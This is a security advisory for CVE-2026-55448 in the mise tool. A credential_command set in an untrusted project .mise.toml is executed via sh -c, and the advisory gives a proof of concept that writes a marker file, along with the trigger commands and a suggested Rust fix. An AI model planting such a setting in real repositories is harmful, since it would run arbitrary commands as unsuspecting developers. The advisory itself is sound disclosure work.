VYPR
Medium severityNVD Advisory· Published Jun 23, 2026

Mise's local credential_command executes untrusted config

CVE-2026-55448

Description

Summary

mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.

The current command-execution path is github.credential_command. I confirmed in Docker that the setting is exploitable on v2026.3.15 and v2026.3.17, while v2026.3.14 rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from [settings.github].

Details

The vulnerable load order is:

  1. `Settings::try_get()` preloads settings from local config files.
  2. `parse_settings_file()` returns settings_file.settings without checking whether the local file is trusted.
  3. `resolve_token()` checks settings.github.credential_command after the token env vars and before file-based sources.
  4. `get_credential_command_token()` executes the value with sh -c.

The main command-execution path is:

let result = std::process::Command::new("sh")
    .arg("-c")
    .arg(cmd)
    .arg("mise-credential-helper")
    .arg(host)
    .output()

If a local project file sets:

[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

then resolve_token() will reach get_credential_command_token() whenever higher-priority GitHub token environment variables are unset. credential_command is a documented custom credential source for mise, but it is also accepted from a local project .mise.toml, which lets an untrusted repository supply a shell command for mise to execute.

PoC

Test environment:

  • Docker
  • linux-arm64
  • mise v2026.3.17

Negative control:

export GITHUB_TOKEN=env_token
mise github token --unmask

Observed:

github.com: env_token (source: GITHUB_TOKEN)
/tmp/mise-proof.txt => missing

Primary exploit:

[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"

Run:

unset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN
mise github token --unmask

Observed:

github.com: ghp_fake_token (source: credential_command)

And the side effect file is created:

/tmp/mise-proof.txt => credential_command_rce

Related version check:

  • v2026.3.14: credential_command is rejected as an unknown field
  • v2026.3.15: the same PoC executes and returns source: credential_command

Impact

An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.

Demonstrated impact:

  • arbitrary command execution as the victim user
  • no trust prompt
  • no need for [env], [hooks], tasks, or templates

Important limitation:

  • if a higher-priority GitHub token environment variable is already set, the credential_command path is not reached

Suggested

Fix

Do not honor github.credential_command from non-global project config files.

For example, inside parse_settings_file():

pub fn parse_settings_file(path: &Path) -> Result {
    let raw = file::read_to_string(path)?;
    let settings_file: SettingsFile = toml::from_str(&raw)?;
    let mut settings = settings_file.settings;

    if !config::is_global_config(path) {
        settings.github.credential_command = None;
    }

    Ok(settings)
}

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected packages

Versions sourced from the GitHub Security Advisory.

PackageAffected versionsPatched versions
misecrates.io
>= 2026.3.15, < 2026.6.42026.6.4

Affected products

1
  • Jdx/Misellm-fuzzy
    Range: >=2026.3.15, <=2026.3.17

Patches

Vulnerability mechanics

Root cause

"`parse_settings_file()` returns `github.credential_command` from local project config without checking whether the file is trusted, and the value is later executed via `sh -c`."

Attack vector

An attacker who can place a `.mise.toml` in a repository sets `[settings.github] credential_command` to an arbitrary shell command. When the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set, `resolve_token()` reaches `get_credential_command_token()`, which executes the value via `sh -c` [CWE-78]. No trust prompt is required because the setting is loaded before any trust decision [ref_id=1].

Affected code

The vulnerability lies in `src/config/settings.rs` (functions `Settings::try_get()` and `parse_settings_file()`) and `src/github.rs` (functions `resolve_token()` and `get_credential_command_token()`). `parse_settings_file()` returns `settings_file.settings` without checking whether the local file is trusted, and `get_credential_command_token()` executes the value with `sh -c`.

What the fix does

The suggested fix modifies `parse_settings_file()` to clear `settings.github.credential_command` when the config file is not a global config. This prevents untrusted local project files from supplying a shell command for mise to execute, while still allowing the feature from trusted global configuration [ref_id=1].

Preconditions

  • configNo higher-priority GitHub token environment variable (GITHUB_TOKEN, GITHUB_API_TOKEN, MISE_GITHUB_TOKEN, MISE_GITHUB_ENTERPRISE_TOKEN) is set
  • inputVictim runs a GitHub-related mise command in a directory containing a malicious .mise.toml
  • inputAttacker can place a .mise.toml file in a repository the victim will use

Generated on Jun 23, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.